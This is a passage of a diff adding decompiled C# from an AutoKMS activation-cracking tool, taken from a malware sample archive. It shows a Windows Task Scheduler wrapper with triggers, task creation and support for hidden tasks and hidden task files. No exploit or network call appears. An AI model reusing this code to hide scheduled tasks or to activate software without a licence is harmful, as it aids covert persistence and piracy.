|
||||
{
|
||||
}
|
||||
|
||||
internal MonthlyTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
public MonthsOfTheYear Months
|
||||
{
|
||||
get => (MonthsOfTheYear) this.taskTrigger.Data.monthlyDate.Months;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDOW.Months = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
private static int[] MaskToIndices(int mask)
|
||||
{
|
||||
int length = 0;
|
||||
for (int index = 0; mask >> index > 0; ++index)
|
||||
length += 1 & mask >> index;
|
||||
int[] indices = new int[length];
|
||||
int num = 0;
|
||||
for (int index = 0; mask >> index > 0; ++index)
|
||||
{
|
||||
if ((1 & mask >> index) == 1)
|
||||
indices[num++] = index + 1;
|
||||
}
|
||||
return indices;
|
||||
}
|
||||
|
||||
private static int IndicesToMask(int[] indices)
|
||||
{
|
||||
int mask = 0;
|
||||
foreach (int index in indices)
|
||||
{
|
||||
if (index < 1 || index > 31)
|
||||
throw new ArgumentException("Days must be in the range 1..31");
|
||||
mask |= 1 << index - 1;
|
||||
}
|
||||
return mask;
|
||||
}
|
||||
|
||||
public int[] Days
|
||||
{
|
||||
get => MonthlyTrigger.MaskToIndices((int) this.taskTrigger.Data.monthlyDate.Days);
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDate.Days = (uint) MonthlyTrigger.IndicesToMask(value);
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.MonthsOfTheYear
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
[Flags]
|
||||
public enum MonthsOfTheYear : short
|
||||
{
|
||||
January = 1,
|
||||
February = 2,
|
||||
March = 4,
|
||||
April = 8,
|
||||
May = 16, // 0x0010
|
||||
June = 32, // 0x0020
|
||||
July = 64, // 0x0040
|
||||
August = 128, // 0x0080
|
||||
September = 256, // 0x0100
|
||||
October = 512, // 0x0200
|
||||
November = 1024, // 0x0400
|
||||
December = 2048, // 0x0800
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.OnIdleTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class OnIdleTrigger : Trigger
|
||||
{
|
||||
public OnIdleTrigger() => this.taskTrigger.Type = TaskTriggerType.EVENT_TRIGGER_ON_IDLE;
|
||||
|
||||
internal OnIdleTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.OnLogonTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class OnLogonTrigger : Trigger
|
||||
{
|
||||
public OnLogonTrigger() => this.taskTrigger.Type = TaskTriggerType.EVENT_TRIGGER_AT_LOGON;
|
||||
|
||||
internal OnLogonTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.OnSystemStartTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class OnSystemStartTrigger : Trigger
|
||||
{
|
||||
public OnSystemStartTrigger() => this.taskTrigger.Type = TaskTriggerType.EVENT_TRIGGER_AT_SYSTEMSTART;
|
||||
|
||||
internal OnSystemStartTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.RunOnceTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class RunOnceTrigger : StartableTrigger
|
||||
{
|
||||
public RunOnceTrigger(DateTime runDateTime)
|
||||
{
|
||||
this.taskTrigger.BeginYear = (ushort) runDateTime.Year;
|
||||
this.taskTrigger.BeginMonth = (ushort) runDateTime.Month;
|
||||
this.taskTrigger.BeginDay = (ushort) runDateTime.Day;
|
||||
this.SetStartTime((ushort) runDateTime.Hour, (ushort) runDateTime.Minute);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_ONCE;
|
||||
}
|
||||
|
||||
internal RunOnceTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+110
@@ -0,0 +1,110 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.ScheduledTasks
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class ScheduledTasks : IDisposable
|
||||
{
|
||||
private ITaskScheduler its;
|
||||
internal static Guid ITaskGuid = Marshal.GenerateGuidForType(typeof (ITask));
|
||||
internal static Guid CTaskGuid = Marshal.GenerateGuidForType(typeof (CTask));
|
||||
|
||||
public ScheduledTasks(string computer)
|
||||
: this()
|
||||
{
|
||||
this.its.SetTargetComputer(computer);
|
||||
}
|
||||
|
||||
public ScheduledTasks() => this.its = (ITaskScheduler) new CTaskScheduler();
|
||||
|
||||
private string[] GrowStringArray(string[] s, uint n)
|
||||
{
|
||||
string[] strArray = new string[(long) s.Length + (long) n];
|
||||
for (int index = 0; index < s.Length; ++index)
|
||||
strArray[index] = s[index];
|
||||
return strArray;
|
||||
}
|
||||
|
||||
public string[] GetTaskNames()
|
||||
{
|
||||
string[] s = new string[0];
|
||||
int num = 0;
|
||||
IEnumWorkItems EnumWorkItems;
|
||||
this.its.Enum(out EnumWorkItems);
|
||||
uint Fetched;
|
||||
IntPtr Names;
|
||||
while (EnumWorkItems.Next(10U, out Names, out Fetched) >= 0 && Fetched > 0U)
|
||||
{
|
||||
s = this.GrowStringArray(s, Fetched);
|
||||
while (Fetched > 0U)
|
||||
{
|
||||
IntPtr ptr = Marshal.ReadIntPtr(Names, (int) --Fetched * IntPtr.Size);
|
||||
s[num++] = Marshal.PtrToStringUni(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
}
|
||||
Marshal.FreeCoTaskMem(Names);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
public Task CreateTask(string name)
|
||||
{
|
||||
Task task = this.OpenTask(name);
|
||||
if (task != null)
|
||||
{
|
||||
task.Close();
|
||||
throw new ArgumentException("The task \"" + name + "\" already exists.");
|
||||
}
|
||||
try
|
||||
{
|
||||
object obj;
|
||||
this.its.NewWorkItem(name, ref ScheduledTasks.CTaskGuid, ref ScheduledTasks.ITaskGuid, out obj);
|
||||
return new Task((ITask) obj, name);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return (Task) null;
|
||||
}
|
||||
}
|
||||
|
||||
public bool DeleteTask(string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.its.Delete(name);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public Task OpenTask(string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
object obj;
|
||||
this.its.Activate(name, ref ScheduledTasks.ITaskGuid, out obj);
|
||||
return new Task((ITask) obj, name);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return (Task) null;
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Marshal.ReleaseComObject((object) this.its);
|
||||
this.its = (ITaskScheduler) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.Scheduler
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class Scheduler
|
||||
{
|
||||
private readonly TaskList tasks;
|
||||
|
||||
public Scheduler() => this.tasks = new TaskList();
|
||||
|
||||
public Scheduler(string computer)
|
||||
{
|
||||
this.tasks = new TaskList();
|
||||
this.TargetComputer = computer;
|
||||
}
|
||||
|
||||
public string TargetComputer
|
||||
{
|
||||
get => this.tasks.TargetComputer;
|
||||
set => this.tasks.TargetComputer = value;
|
||||
}
|
||||
|
||||
public TaskList Tasks => this.tasks;
|
||||
}
|
||||
}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.StartableTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public abstract class StartableTrigger : Trigger
|
||||
{
|
||||
internal StartableTrigger()
|
||||
{
|
||||
}
|
||||
|
||||
internal StartableTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
protected void SetStartTime(ushort hour, ushort minute)
|
||||
{
|
||||
this.StartHour = (short) hour;
|
||||
this.StartMinute = (short) minute;
|
||||
}
|
||||
|
||||
public short StartHour
|
||||
{
|
||||
get => (short) this.taskTrigger.StartHour;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.StartHour = value >= (short) 0 && value <= (short) 23 ? (ushort) value : throw new ArgumentOutOfRangeException("hour", (object) value, "hour must be between 0 and 23");
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public short StartMinute
|
||||
{
|
||||
get => (short) this.taskTrigger.StartMinute;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.StartMinute = value >= (short) 0 && value <= (short) 59 ? (ushort) value : throw new ArgumentOutOfRangeException("minute", (object) value, "minute must be between 0 and 59");
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+458
@@ -0,0 +1,458 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.Task
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
using System.Runtime.Serialization.Formatters.Binary;
|
||||
using System.Security;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class Task : IDisposable
|
||||
{
|
||||
private ITask iTask;
|
||||
private string name;
|
||||
private TriggerList triggers;
|
||||
|
||||
internal Task(ITask iTask, string taskName)
|
||||
{
|
||||
this.iTask = iTask;
|
||||
this.name = !taskName.EndsWith(".job") ? taskName : taskName.Substring(0, taskName.Length - 4);
|
||||
this.triggers = (TriggerList) null;
|
||||
this.Hidden = this.GetHiddenFileAttr();
|
||||
}
|
||||
|
||||
public string Name => this.name;
|
||||
|
||||
public TriggerList Triggers
|
||||
{
|
||||
get
|
||||
{
|
||||
if (this.triggers == null)
|
||||
this.triggers = new TriggerList(this.iTask);
|
||||
return this.triggers;
|
||||
}
|
||||
}
|
||||
|
||||
public string ApplicationName
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr ApplicationName;
|
||||
this.iTask.GetApplicationName(out ApplicationName);
|
||||
return CoTaskMem.LPWStrToString(ApplicationName);
|
||||
}
|
||||
set => this.iTask.SetApplicationName(value);
|
||||
}
|
||||
|
||||
public string AccountName
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr AccountName = IntPtr.Zero;
|
||||
this.iTask.GetAccountInformation(out AccountName);
|
||||
return CoTaskMem.LPWStrToString(AccountName);
|
||||
}
|
||||
}
|
||||
|
||||
public string Comment
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr Comment;
|
||||
this.iTask.GetComment(out Comment);
|
||||
return CoTaskMem.LPWStrToString(Comment);
|
||||
}
|
||||
set => this.iTask.SetComment(value);
|
||||
}
|
||||
|
||||
public string Creator
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr Creator;
|
||||
this.iTask.GetCreator(out Creator);
|
||||
return CoTaskMem.LPWStrToString(Creator);
|
||||
}
|
||||
set => this.iTask.SetCreator(value);
|
||||
}
|
||||
|
||||
private short ErrorRetryCount
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort RetryCount;
|
||||
this.iTask.GetErrorRetryCount(out RetryCount);
|
||||
return (short) RetryCount;
|
||||
}
|
||||
set => this.iTask.SetErrorRetryCount((ushort) value);
|
||||
}
|
||||
|
||||
private short ErrorRetryInterval
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort RetryInterval;
|
||||
this.iTask.GetErrorRetryInterval(out RetryInterval);
|
||||
return (short) RetryInterval;
|
||||
}
|
||||
set => this.iTask.SetErrorRetryInterval((ushort) value);
|
||||
}
|
||||
|
||||
public int ExitCode
|
||||
{
|
||||
get
|
||||
{
|
||||
uint ExitCode = 0;
|
||||
this.iTask.GetExitCode(out ExitCode);
|
||||
return (int) ExitCode;
|
||||
}
|
||||
}
|
||||
|
||||
public TaskFlags Flags
|
||||
{
|
||||
get
|
||||
{
|
||||
uint Flags;
|
||||
this.iTask.GetFlags(out Flags);
|
||||
return (TaskFlags) Flags;
|
||||
}
|
||||
set => this.iTask.SetFlags((uint) value);
|
||||
}
|
||||
|
||||
public short IdleWaitMinutes
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort IdleMinutes;
|
||||
this.iTask.GetIdleWait(out IdleMinutes, out ushort _);
|
||||
return (short) IdleMinutes;
|
||||
}
|
||||
set
|
||||
{
|
||||
ushort waitDeadlineMinutes = (ushort) this.IdleWaitDeadlineMinutes;
|
||||
this.iTask.SetIdleWait((ushort) value, waitDeadlineMinutes);
|
||||
}
|
||||
}
|
||||
|
||||
public short IdleWaitDeadlineMinutes
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort DeadlineMinutes;
|
||||
this.iTask.GetIdleWait(out ushort _, out DeadlineMinutes);
|
||||
return (short) DeadlineMinutes;
|
||||
}
|
||||
set => this.iTask.SetIdleWait((ushort) this.IdleWaitMinutes, (ushort) value);
|
||||
}
|
||||
|
||||
public TimeSpan MaxRunTime
|
||||
{
|
||||
get
|
||||
{
|
||||
uint MaxRunTimeMS;
|
||||
this.iTask.GetMaxRunTime(out MaxRunTimeMS);
|
||||
return new TimeSpan((long) MaxRunTimeMS * 10000L);
|
||||
}
|
||||
set
|
||||
{
|
||||
double totalMilliseconds = value.TotalMilliseconds;
|
||||
if (totalMilliseconds >= (double) uint.MaxValue)
|
||||
this.iTask.SetMaxRunTime(uint.MaxValue);
|
||||
else
|
||||
this.iTask.SetMaxRunTime((uint) totalMilliseconds);
|
||||
}
|
||||
}
|
||||
|
||||
public bool MaxRunTimeLimited
|
||||
{
|
||||
get
|
||||
{
|
||||
uint MaxRunTimeMS;
|
||||
this.iTask.GetMaxRunTime(out MaxRunTimeMS);
|
||||
return MaxRunTimeMS == uint.MaxValue;
|
||||
}
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
{
|
||||
uint MaxRunTimeMS;
|
||||
this.iTask.GetMaxRunTime(out MaxRunTimeMS);
|
||||
if (MaxRunTimeMS != uint.MaxValue)
|
||||
return;
|
||||
this.iTask.SetMaxRunTime(25920000U);
|
||||
}
|
||||
else
|
||||
this.iTask.SetMaxRunTime(uint.MaxValue);
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime MostRecentRunTime
|
||||
{
|
||||
get
|
||||
{
|
||||
SystemTime LastRun = new SystemTime();
|
||||
this.iTask.GetMostRecentRunTime(ref LastRun);
|
||||
return LastRun.Year == (ushort) 0 ? DateTime.MinValue : new DateTime((int) LastRun.Year, (int) LastRun.Month, (int) LastRun.Day, (int) LastRun.Hour, (int) LastRun.Minute, (int) LastRun.Second, (int) LastRun.Milliseconds);
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime NextRunTime
|
||||
{
|
||||
get
|
||||
{
|
||||
SystemTime NextRun = new SystemTime();
|
||||
this.iTask.GetNextRunTime(ref NextRun);
|
||||
return NextRun.Year == (ushort) 0 ? DateTime.MinValue : new DateTime((int) NextRun.Year, (int) NextRun.Month, (int) NextRun.Day, (int) NextRun.Hour, (int) NextRun.Minute, (int) NextRun.Second, (int) NextRun.Milliseconds);
|
||||
}
|
||||
}
|
||||
|
||||
public string Parameters
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr Parameters;
|
||||
this.iTask.GetParameters(out Parameters);
|
||||
return CoTaskMem.LPWStrToString(Parameters);
|
||||
}
|
||||
set => this.iTask.SetParameters(value);
|
||||
}
|
||||
|
||||
public ProcessPriorityClass Priority
|
||||
{
|
||||
get
|
||||
{
|
||||
uint Priority;
|
||||
this.iTask.GetPriority(out Priority);
|
||||
return (ProcessPriorityClass) Priority;
|
||||
}
|
||||
set
|
||||
{
|
||||
if (value == ProcessPriorityClass.AboveNormal || value == ProcessPriorityClass.BelowNormal)
|
||||
throw new ArgumentException("Unsupported Priority Level");
|
||||
this.iTask.SetPriority((uint) value);
|
||||
}
|
||||
}
|
||||
|
||||
public TaskStatus Status
|
||||
{
|
||||
get
|
||||
{
|
||||
int Status;
|
||||
this.iTask.GetStatus(out Status);
|
||||
return (TaskStatus) Status;
|
||||
}
|
||||
}
|
||||
|
||||
private int FlagsEx
|
||||
{
|
||||
get
|
||||
{
|
||||
uint Flags;
|
||||
this.iTask.GetTaskFlags(out Flags);
|
||||
return (int) Flags;
|
||||
}
|
||||
set => this.iTask.SetTaskFlags((uint) value);
|
||||
}
|
||||
|
||||
public string WorkingDirectory
|
||||
{
|
||||
get
|
||||
{
|
||||
IntPtr WorkingDirectory;
|
||||
this.iTask.GetWorkingDirectory(out WorkingDirectory);
|
||||
return CoTaskMem.LPWStrToString(WorkingDirectory);
|
||||
}
|
||||
set => this.iTask.SetWorkingDirectory(value);
|
||||
}
|
||||
|
||||
public bool Hidden
|
||||
{
|
||||
get => (this.Flags & TaskFlags.Hidden) != (TaskFlags) 0;
|
||||
set
|
||||
{
|
||||
if (value)
|
||||
this.Flags |= TaskFlags.Hidden;
|
||||
else
|
||||
this.Flags &= ~TaskFlags.Hidden;
|
||||
}
|
||||
}
|
||||
|
||||
public object Tag
|
||||
{
|
||||
get
|
||||
{
|
||||
ushort DataLen;
|
||||
IntPtr Data;
|
||||
this.iTask.GetWorkItemData(out DataLen, out Data);
|
||||
byte[] numArray = new byte[(int) DataLen];
|
||||
Marshal.Copy(Data, numArray, 0, (int) DataLen);
|
||||
return new BinaryFormatter().Deserialize((Stream) new MemoryStream(numArray, false));
|
||||
}
|
||||
set
|
||||
{
|
||||
if (!value.GetType().IsSerializable)
|
||||
throw new ArgumentException("Objects set as Data for Tasks must be serializable", nameof (value));
|
||||
BinaryFormatter binaryFormatter = new BinaryFormatter();
|
||||
MemoryStream serializationStream = new MemoryStream();
|
||||
binaryFormatter.Serialize((Stream) serializationStream, value);
|
||||
this.iTask.SetWorkItemData((ushort) serializationStream.Length, serializationStream.GetBuffer());
|
||||
}
|
||||
}
|
||||
|
||||
private void SetHiddenFileAttr(bool set)
|
||||
{
|
||||
string ppszFileName;
|
||||
((IPersistFile) this.iTask).GetCurFile(out ppszFileName);
|
||||
FileAttributes attributes = File.GetAttributes(ppszFileName);
|
||||
FileAttributes fileAttributes = !set ? attributes & ~FileAttributes.Hidden : attributes | FileAttributes.Hidden;
|
||||
File.SetAttributes(ppszFileName, fileAttributes);
|
||||
}
|
||||
|
||||
private bool GetHiddenFileAttr()
|
||||
{
|
||||
string ppszFileName;
|
||||
((IPersistFile) this.iTask).GetCurFile(out ppszFileName);
|
||||
try
|
||||
{
|
||||
return (File.GetAttributes(ppszFileName) & FileAttributes.Hidden) != (FileAttributes) 0;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime NextRunTimeAfter(DateTime after)
|
||||
{
|
||||
after = after.AddSeconds(1.0);
|
||||
SystemTime Begin = new SystemTime();
|
||||
Begin.Year = (ushort) after.Year;
|
||||
Begin.Month = (ushort) after.Month;
|
||||
Begin.Day = (ushort) after.Day;
|
||||
Begin.DayOfWeek = (ushort) after.DayOfWeek;
|
||||
Begin.Hour = (ushort) after.Hour;
|
||||
Begin.Minute = (ushort) after.Minute;
|
||||
Begin.Second = (ushort) after.Second;
|
||||
SystemTime systemTime1 = new SystemTime();
|
||||
SystemTime End = Begin with
|
||||
{
|
||||
Year = (ushort) DateTime.MaxValue.Year,
|
||||
Month = 1
|
||||
};
|
||||
ushort Count = 1;
|
||||
IntPtr TaskTimes;
|
||||
this.iTask.GetRunTimes(ref Begin, ref End, ref Count, out TaskTimes);
|
||||
if (Count != (ushort) 1)
|
||||
return DateTime.MinValue;
|
||||
SystemTime systemTime2 = new SystemTime();
|
||||
SystemTime structure = (SystemTime) Marshal.PtrToStructure(TaskTimes, typeof (SystemTime));
|
||||
Marshal.FreeCoTaskMem(TaskTimes);
|
||||
return new DateTime((int) structure.Year, (int) structure.Month, (int) structure.Day, (int) structure.Hour, (int) structure.Minute, (int) structure.Second);
|
||||
}
|
||||
|
||||
public void Run() => this.iTask.Run();
|
||||
|
||||
public void Save()
|
||||
{
|
||||
((IPersistFile) this.iTask).Save((string) null, false);
|
||||
this.SetHiddenFileAttr(this.Hidden);
|
||||
}
|
||||
|
||||
public void Save(string name)
|
||||
{
|
||||
IPersistFile iTask = (IPersistFile) this.iTask;
|
||||
string ppszFileName;
|
||||
iTask.GetCurFile(out ppszFileName);
|
||||
string pszFileName = Path.GetDirectoryName(ppszFileName) + (object) Path.DirectorySeparatorChar + name + Path.GetExtension(ppszFileName);
|
||||
iTask.Save(pszFileName, true);
|
||||
iTask.SaveCompleted(pszFileName);
|
||||
this.name = name;
|
||||
this.SetHiddenFileAttr(this.Hidden);
|
||||
}
|
||||
|
||||
public void Close()
|
||||
{
|
||||
if (this.triggers != null)
|
||||
this.triggers.Dispose();
|
||||
Marshal.ReleaseComObject((object) this.iTask);
|
||||
this.iTask = (ITask) null;
|
||||
}
|
||||
|
||||
public void DisplayForEdit() => this.iTask.EditWorkItem(0U, 0U);
|
||||
|
||||
public bool DisplayPropertySheet() => this.DisplayPropertySheet(Task.PropPages.Task | Task.PropPages.Schedule | Task.PropPages.Settings);
|
||||
|
||||
public bool DisplayPropertySheet(Task.PropPages pages)
|
||||
{
|
||||
PropSheetHeader psh = new PropSheetHeader();
|
||||
IProvideTaskPage iTask = (IProvideTaskPage) this.iTask;
|
||||
IntPtr[] numArray = new IntPtr[3];
|
||||
int num1 = 0;
|
||||
IntPtr phPage;
|
||||
if ((pages & Task.PropPages.Task) != (Task.PropPages) 0)
|
||||
{
|
||||
iTask.GetPage(0, false, out phPage);
|
||||
numArray[num1++] = phPage;
|
||||
}
|
||||
if ((pages & Task.PropPages.Schedule) != (Task.PropPages) 0)
|
||||
{
|
||||
iTask.GetPage(1, false, out phPage);
|
||||
numArray[num1++] = phPage;
|
||||
}
|
||||
if ((pages & Task.PropPages.Settings) != (Task.PropPages) 0)
|
||||
{
|
||||
iTask.GetPage(2, false, out phPage);
|
||||
numArray[num1++] = phPage;
|
||||
}
|
||||
if (num1 == 0)
|
||||
throw new ArgumentException("No Property Pages to display");
|
||||
psh.dwSize = (uint) Marshal.SizeOf((object) psh);
|
||||
psh.dwFlags = 128U;
|
||||
psh.pszCaption = this.Name;
|
||||
psh.nPages = (uint) num1;
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) numArray, GCHandleType.Pinned);
|
||||
psh.phpage = gcHandle.AddrOfPinnedObject();
|
||||
int num2 = PropertySheetDisplay.PropertySheet(ref psh);
|
||||
gcHandle.Free();
|
||||
if (num2 < 0)
|
||||
throw new Exception("Property Sheet failed to display");
|
||||
return num2 > 0;
|
||||
}
|
||||
|
||||
public void SetAccountInformation(string accountName, string password)
|
||||
{
|
||||
IntPtr coTaskMemUni = Marshal.StringToCoTaskMemUni(password);
|
||||
this.iTask.SetAccountInformation(accountName, coTaskMemUni);
|
||||
Marshal.FreeCoTaskMem(coTaskMemUni);
|
||||
}
|
||||
|
||||
public void SetAccountInformation(string accountName, SecureString password)
|
||||
{
|
||||
IntPtr coTaskMemUnicode = Marshal.SecureStringToCoTaskMemUnicode(password);
|
||||
this.iTask.SetAccountInformation(accountName, coTaskMemUnicode);
|
||||
Marshal.ZeroFreeCoTaskMemUnicode(coTaskMemUnicode);
|
||||
}
|
||||
|
||||
public void Terminate() => this.iTask.Terminate();
|
||||
|
||||
public override string ToString() => string.Format("{0} (\"{1}\" {2})", (object) this.name, (object) this.ApplicationName, (object) this.Parameters);
|
||||
|
||||
public void Dispose() => this.Close();
|
||||
|
||||
[System.Flags]
|
||||
public enum PropPages
|
||||
{
|
||||
Task = 1,
|
||||
Schedule = 2,
|
||||
Settings = 4,
|
||||
}
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.TaskFlags
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
[Flags]
|
||||
public enum TaskFlags
|
||||
{
|
||||
Interactive = 1,
|
||||
DeleteWhenDone = 2,
|
||||
Disabled = 4,
|
||||
StartOnlyIfIdle = 16, // 0x00000010
|
||||
KillOnIdleEnd = 32, // 0x00000020
|
||||
DontStartIfOnBatteries = 64, // 0x00000040
|
||||
KillIfGoingOnBatteries = 128, // 0x00000080
|
||||
RunOnlyIfDocked = 256, // 0x00000100
|
||||
Hidden = 512, // 0x00000200
